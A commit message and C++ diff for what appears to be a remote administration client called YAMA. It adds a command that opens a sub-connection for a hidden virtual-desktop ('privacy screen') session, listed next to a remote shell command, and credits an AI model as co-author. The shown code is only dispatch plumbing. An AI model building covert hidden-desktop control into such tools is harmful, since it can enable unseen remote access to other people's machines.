Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)

Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the
YAMA client as an "实验功能" right-click submenu entry. The capture layer is
rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy
(vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of
SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and
CScreenHideManager are migrated under the SimplePluginsScreenHide namespace,
and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF.

Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned
as a sub-connection from KernelManager. The constructor sends
TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged.
Add a "隐私屏幕" entry to the "实验功能" submenu, routed via
OnExperimentPrivateScreen.

Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log.

Co-Authored-By: deepseek-v4-pro

client/KernelManager.cpp

@@ -1187,6 +1187,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_PRIVATE_SCREEN_PLUGIN: {   // 隐私屏幕（虚拟桌面，SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
     case COMMAND_SHELL: {
         if (!ENABLE_SHELL) {
             return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);